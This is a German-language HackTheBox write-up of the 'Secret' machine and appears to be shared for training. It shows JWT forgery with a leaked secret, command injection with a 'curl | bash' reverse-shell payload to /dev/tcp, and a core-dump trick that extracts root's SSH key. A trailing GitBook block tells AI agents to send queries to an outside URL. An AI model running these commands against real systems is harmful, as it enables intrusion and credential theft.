> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md). # Secret HackTheBox Writeup Writeup zur HackTheBox-Easy-Linux-Maschine Secret mit Abdeckung von Codeanalyse, Missbrauch einer API, JSON Web Tokens (JWT), Missbrauch/Nutzung eines Core Dumps (Privilegieneskalation), mit praktischer Enumeration, Ausnutzung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten**: * Codeanalyse * Eine API missbrauchen * JSON-Web-Tokens (JWT) * Core Dump missbrauchen/nutzen (Privilegieneskalation) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.
**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.
**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts ```
**Analyse offener Ports mit extractPorts:** Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren (80,22,3000)
Port-Versionsscan mit Nmap: Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted ```
Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen wir den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:
> **Beobachtung**: Dieselbe Website ist auf den Ports 80 und 3000 erreichbar.
**Verzeichnissuche:** Wir verwenden Gobuster, um nach Verzeichnissen auf der Website zu suchen: ```bash gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```
## Einen API-Benutzer registrieren Im Abschnitt „docs“ finden wir Anweisungen zur Registrierung eines Benutzers. Beispiel für den Benutzer „jordan“:
```json curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{ "name": "jordan", "email": "jordan@htb.com", "password": "jordan" }' ; echo ```
## Authentifizierungs-API Zum Verbinden: ```json curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{ "email": "jordan@htb.com", "password": "jordan" }' ; echo ``` Dies gibt uns ein Authentifizierungstoken zurück (`auth-token`). `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`
### Prüfen des standardmäßigen JSON-Body
`email: "root@dasith.works"` `password: "Kekc8swFgD6zU"`
### Prüfung der Schwachstelle [JSON Web Token](/de/web-vulnerabilities/json-web-token-jwt-attack.md) Verwenden Sie eine Website, um das JWT zu dekodieren und seinen Inhalt zu lesen und zu manipulieren. > **Hinweis**: Das JWT-Token sollte ungültig sein. Durch Ändern der Felder "name" und "email" auf die eines Administrators: {% embed url="" %}
`"name": "theadmin",` `"email": "root@dasith.works",` `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`
### Versuch, auf eine private API zuzugreifen: Versuch, mit dem modifizierten JWT eine Verbindung zu einer privaten API herzustellen: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq ``` {% endcode %} Wir erhalten die Meldung „ungültiges Token“.
Mit unserem eigenen JWT haben wir als normaler Benutzer Zugriff: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq ``` {% endcode %} Wir erhalten die Meldung „Sie sind ein normaler Benutzer“.
## Aufzählung der API-Routen mit Wfuzz Verwenden Sie Wfuzz, um verfügbare Routen zu erkunden: {% code fullWidth="true" %} ```bash wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ ``` {% endcode %} Neue Entdeckung: die `/api/logs` Route.
## Quellcodeanalyse Die Webseite bietet eine Option zum Herunterladen des Quellcodes.
> **Funde** : * A `.env` Datei, die einen `token_secret` mit dem Wert „secret“ enthält.
A `.git` Ordner mit einem Commit, der das Löschen der Datei anzeigt `.env`.
Das alte gelöschte `token_secret` wird gefunden: `gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`
Verwenden Sie dieses alte `token_secret` um ein JWT mit Administratorinformationen zu signieren und auf die private API zuzugreifen: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`
{% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %} > **Ergebnis**: Begrüßungsnachricht als Admin: „welcome back admin“.
Schließlich wird beim Ausführen der `/api/logs` Route folgender Inhalt angezeigt: ```json "cmd": "git log --oneline undefined" ```
Durch Untersuchen der `privitate.js` Datei und Analyse des Codes sehen wir:
## RCE-Schwachstelle: {% hint style="info" %} Dieser Code hat aufgrund von Command Injection ein Sicherheitsproblem. Weil `Datei` aus den Query-Parametern stammt und direkt in den Terminalbefehl eingefügt wird, könnte ein böswilliger Benutzer `Datei` ändern, um andere Befehle auszuführen. Die Funktion dieser Route besteht darin, den `git log --oneline [file]` Befehl auf dem System auszuführen, wobei `[file]` eine bestimmte Datei ist, die im Query-Parameter der Anfrage angefordert wird. {% endhint %} Hier ist ein Beispiel `curl` Befehl, der versucht, `ID`: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %}
#### Wir werden eine Reverse Shell ausführen: 1. Erstellen Sie eine `index.html` Datei auf unserem Rechner und erstellen einen Webserver mit folgendem Inhalt: ```html #!/bin/bash bash -i >& /dev/tcp/10.10.14.6/4444 0>&1 ``` 2. Als Nächstes lauschen wir auf Port 4444: ```bash nc -nlvp 4444 ``` Führen Sie eine Injection mit `curl` auf unserem Webserver aus: {% code overflow="wrap" %} ```bash curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq ``` {% endcode %}
### Flagge user.txt :)
**Terminalbehandlung:**/ Sobald Sie Zugriff auf den Linux-Server haben, sind hier die Befehle für eine effiziente Arbeit im Terminal: ```bash script /dev/null -c bash # Strg+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Stabilisieren Sie die Shell für komfortableres Arbeiten. ## Privilegieneskalation (SUID) Mit folgendem Befehl prüfen wir, ob unser Benutzer **SUID-Privilegien hat**: ```bash find / -perm -4000 2>/dev/null ``` Wir finden eine seltene Datei unter `/opt/count`, deren Besitzer `root`.
Beim Ausführen dieses Binaries fordert es uns auf, eine Datei anzugeben, dann listet es die Gesamtzahl der Zeichen, Wörter und Zeilen auf. Dieses Skript liest den Inhalt der Datei und zeigt dann ihre Eigenschaften an.
### Core-Dump-Binary Durch Untersuchen des Quellcodes können wir beobachten, dass ein Core-Dump erzeugt wird, der den Inhalt im Fehlerfall vorübergehend speichert.
Fehler werden im Verzeichnis `/var/crash` gespeichert. So erstellen Sie einen Core-Dump: 1. **Geben Sie den Namen der Datei oder des Verzeichnisses ein:** ```bash Geben Sie den Namen der Quelldatei / des Quellverzeichnisses ein: /root/.ssh/id_rsa ``` *(SSH-Root-Schlüssel)* 2. **Ergebnisse in einer Datei speichern?** ```` ```css Ergebnisse in einer Datei speichern? [y/N]: ^Z ``` ```` *(In den Hintergrund legen)* 3. **Ermitteln Sie die PID:** ```` ```bash ps ``` _(PID kopieren)_ ```` 4\. **Prozess beenden:** ```` ```bash kill -BUS 'PID' ``` ```` 5\. **Das Binary erneut ausführen:** ```` ```bash fg ``` ```` 6\. **Verzeichnis der Core-Dumps prüfen:** ```` ```bash ls -l /var/crash ``` ```` *(Eine neue Datei erscheint: `_opt_count.1000.crash`)*
Wir haben nun einen Base64-Core-Dump, der den SSH-Schlüssel von root enthält.
### Apport-Entpacken Um die Informationen zu extrahieren, verwenden wir `apport-unpack`: ```bash apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh ``` Als Nächstes listen wir den Inhalt der Datei in `/tmp/ssh/coredump` mit `strings`:
Wir finden den SSH-Root-Schlüssel
### SSH-Verbindung Sobald wir die `id_rsa` Datei mit Berechtigungen 600 erstellt haben, können wir uns per SSH verbinden: ```bash ssh root@10.10.11.120 -i id_rsa ```
### Flag root :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.